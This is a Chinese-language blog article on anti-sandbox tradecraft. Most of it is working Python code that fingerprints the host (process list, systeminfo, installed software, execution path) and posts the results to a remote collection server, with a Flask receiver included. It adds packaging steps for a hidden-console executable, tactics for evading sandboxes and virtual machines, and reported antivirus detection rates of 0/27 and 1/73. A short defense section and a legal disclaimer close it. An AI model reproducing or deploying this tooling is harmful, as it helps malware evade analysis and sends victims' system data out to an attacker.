反沙箱杂谈--获取沙箱环境
字数 1096 2025-08-23 18:31:09
反沙箱技术详解:获取沙箱环境特征与绕过检测
1. 沙箱执行过程概述
沙箱分析通常遵循以下流程:
- 提交可疑文件
- 静态分析(检查文件结构、签名、字符串等)
- 动态分析(在受控环境中执行文件)
- 行为检测(监控文件执行产生的系统变化)
- 生成分析报告
2. 环境信息收集技术
2.1 进程列表获取
使用psutil模块枚举系统进程:
import psutil
def get_process_list():
process_list = "=== 进程列表 ===\n"
for proc in psutil.process_iter(['pid', 'name']):
process_list += f"进程名称: {proc.info['name']}, PID: {proc.info['pid']}\n"
return process_list
关键点:
- 沙箱环境通常运行特定分析进程(如
Cuckoo、JoeSandbox等) - 普通用户环境进程通常更复杂多样
2.2 系统信息收集
使用systeminfo命令获取详细系统配置:
import subprocess
def get_system_info():
system_info = "=== 系统信息 ===\n"
try:
output = subprocess.check_output("systeminfo", shell=True, text=True)
system_info += output
except subprocess.CalledProcessError as e:
system_info += f"获取系统信息失败: {e}\n"
return system_info
可识别特征:
- 虚拟机特有的硬件信息(如VMware、VirtualBox)
- 异常的系统运行时间(沙箱通常新启动)
- 异常的内存和CPU配置
2.3 已安装软件检测
使用WMIC命令获取软件列表:
def get_installed_software():
installed_software = "=== 已安装软件 ===\n"
try:
output = subprocess.check_output("wmic product list brief", shell=True, text=True)
installed_software += output
except subprocess.CalledProcessError as e:
installed_software += f"获取已安装软件失败: {e}\n"
return installed_software
关键指标:
- 沙箱分析工具(如Wireshark、Process Monitor)
- 安全软件(如AV、EDR产品)
- 开发工具(如Python、JDK等)
2.4 执行环境检测
import os
def get_current_directory_and_app_name():
cwd = os.getcwd()
exe_name = os.path.basename(__file__)
return f"当前工作目录: {cwd}\n应用程序名称: {exe_name}\n"
沙箱特征:
- 临时目录路径
- 随机生成的程序名称
- 非常规的执行路径
3. 数据传输实现
3.1 发送端实现
import requests
def send_to_server(data, server_url):
response = requests.post(server_url, data={'content': data})
return response
def main():
# 收集所有信息
process_info = get_process_list()
current_info = get_current_directory_and_app_name()
system_info = get_system_info()
software_info = get_installed_software()
content = process_info + current_info + system_info + software_info
# 发送到服务器
server_url = "http://127.0.0.1:8888/upload"
response = send_to_server(content, server_url)
# 清理内存
del content
3.2 接收端实现(Flask)
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload_data():
content = request.form.get('content')
if not content:
return '没有内容被上传', 400
with open('1.txt', 'w', encoding='utf-8') as f:
f.write(content)
return '内容上传成功', 200
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8888)
4. 打包与部署
4.1 Python转EXE
使用PyInstaller打包:
pip install pyinstaller
pyinstaller --onefile --noconsole --clean --strip 发送.py
参数说明:
--onefile: 打包为单个可执行文件--noconsole: 不显示控制台窗口--clean: 清理临时文件--strip: 去除调试符号
4.2 C++实现优化
对于更高级的免杀:
- 使用C++编写核心功能
- 使用g++编译
- 使用strip去除调试信息:
strip --strip-all 可执行文件
5. 反沙箱策略
根据收集的环境信息,可实施以下反沙箱技术:
5.1 环境检测绕过
- 虚拟机检测:检查特定硬件、驱动或注册表项
- 进程检测:发现分析工具进程时终止执行
- 时间检测:检测异常的执行速度(沙箱可能加速执行)
5.2 行为混淆
- 延迟执行:添加无害的长时间循环
- 用户交互模拟:等待鼠标移动或点击事件
- 环境依赖:检查网络连接、显示器分辨率等
5.3 结果验证
测试结果示例:
- 微步沙箱:0/27检测率
- VirusTotal:1/73检测率
6. 防御措施
针对此类技术,防御方可以:
- 环境伪装:模拟真实用户环境特征
- 行为混淆:随机化分析环境配置
- 多维度检测:结合静态和动态分析
- 时间随机化:模拟真实的时间流逝
7. 法律与道德声明
本文所述技术仅用于安全研究和防御目的。未经授权的系统渗透测试是违法行为。安全研究人员应在合法授权范围内进行测试,并遵守相关法律法规。